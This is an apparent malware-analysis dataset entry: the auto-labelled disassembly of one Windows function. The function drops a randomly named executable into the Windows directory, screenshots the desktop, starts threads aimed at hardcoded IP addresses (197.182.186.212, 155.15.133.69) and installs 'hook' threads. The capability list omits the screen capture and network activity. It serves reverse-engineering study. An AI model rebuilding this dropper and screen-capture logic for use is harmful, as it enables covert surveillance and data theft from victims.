Function at 0x4011a0
Capabilities:
Check if file exists
Create thread
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x43d008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401610
push 0x113a
push 0x43902c
push 2
call fcn.0040a0d0
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.0040c630
push 0x104
call fcn.0040f0f7
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x401315
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, eax
test edi, edi
je 0x401582
cmp edi, 0x104
jb 0x401255
xor edx, edx
mov ecx, edi
add ecx, 0x104
setb dl
neg edx
or edx, ecx
push edx
push esi
call fcn.00413468
add esp, 8
test eax, eax
je 0x401582
lea ecx, [edi + 0x104]
mov esi, eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x401582
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x108]
push str._08x.exe
push eax
call fcn.00409fb0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push esi
push str.MakeRandomExePathInSystemDir:_s_n
call fcn.00401a80
add esp, 8
push esi
xor bl, bl
mov dword [ebp - 0x13c], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40130f
push 0
lea eax, [ebp - 0x13c]
push eax
push 0x400
push 0x43dab0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4012f2
cmp dword [ebp - 0x13c], 0x400
mov eax, 1
movzx ebx, bl
cmove ebx, eax
test edi, edi
je 0x401302
cmp edi, 0xffffffff
je 0x401302
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x40130f
push esi
call fcn.0040f0dc
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7962
push 0x43902c
push 2
call fcn.0040a0d0
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x134], xmm0
push 0
movups xmmword [ebp - 0x124], xmm0
movq qword [ebp - 0x114], xmm0
call esi
mov edi, eax
push 1
mov dword [ebp - 0x154], edi
call esi
mov dword [ebp - 0x150], eax
xorps xmm0, xmm0
mov dword [ebp - 0x130], eax
imul eax, edi
movlpd qword [ebp - 0x124], xmm0
movlpd qword [ebp - 0x11c], xmm0
movlpd qword [ebp - 0x114], xmm0
mov dword [ebp - 0x138], 0x28
add eax, eax
mov dword [ebp - 0x134], edi
mov dword [ebp - 0x124], eax
add eax, 0x36
mov dword [ebp - 0x14a], eax
mov eax, 0x4d42
mov dword [ebp - 0x12c], 0x100001
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x146], 0
mov dword [ebp - 0x142], 0x36
mov word [ebp - 0x14c], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x401503
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x4014f6
push 0
push 0
lea eax, [ebp - 0x13c]
push eax
push 0
lea eax, [ebp - 0x138]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [ebp - 0x158], eax
test eax, eax
je 0x4014ef
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebp - 0x150]
push dword [ebp - 0x154]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x4014e3
push dword [ebp - 0x14a]
call fcn.0040f0f7
add esp, 4
test eax, eax
je 0x4014e3
movq xmm0, qword [ebp - 0x14c]
mov ecx, dword [ebp - 0x144]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x140]
mov word [eax + 0xc], cx
movups xmm0, xmmword [ebp - 0x138]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [ebp - 0x128]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [ebp - 0x118]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [ebp - 0x124]
push dword [ebp - 0x13c]
push eax
call fcn.0040c7d0
push 0x439093
push 0x19895
push 2
call fcn.0040a200
add esp, 0x18
push dword [ebp - 0x158]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [ebp - 0x10c]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 8
mov dword [ebp - 0x10c], 0
call fcn.0040f0f7
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x10c]
add esp, 4
mov dword [eax + 4], 0x7834
mov dword [eax], str.197.182.186.212
push ecx
push 0
push eax
push 0x4018b0
push 0
push 0
call esi
test eax, eax
je 0x401546
push eax
call ebx
call fcn.004026d0
test al, al
je 0x401593
call fcn.00402ae0
push 0x43f220
push 0
push 0
push 0x4047a0
push 0
push 0
call esi
test eax, eax
jne 0x401590
push str.Cannot_create_a_new_hook_thread_n
push 0x19895
push 2
call fcn.0040a200
add esp, 0xc
jmp 0x401593
push esi
call fcn.0040f0dc
add esp, 4
jmp 0x401315
push eax
call ebx
push 0x3294
push 0x43902c
push 2
call fcn.0040a0d0
add esp, 0xc
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
push 0
push str.155.15.133.69
push 0x407100
push 0
push 0
call esi
test eax, eax
jne 0x4015dd
push str.Cannot_create_a_new_hook_thread_n
call fcn.00401a80
add esp, 4
jmp 0x4015e0
push eax
call ebx
push str.pause
call fcn.0040f0d1
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0040a330
mov esp, ebp
pop ebp
ret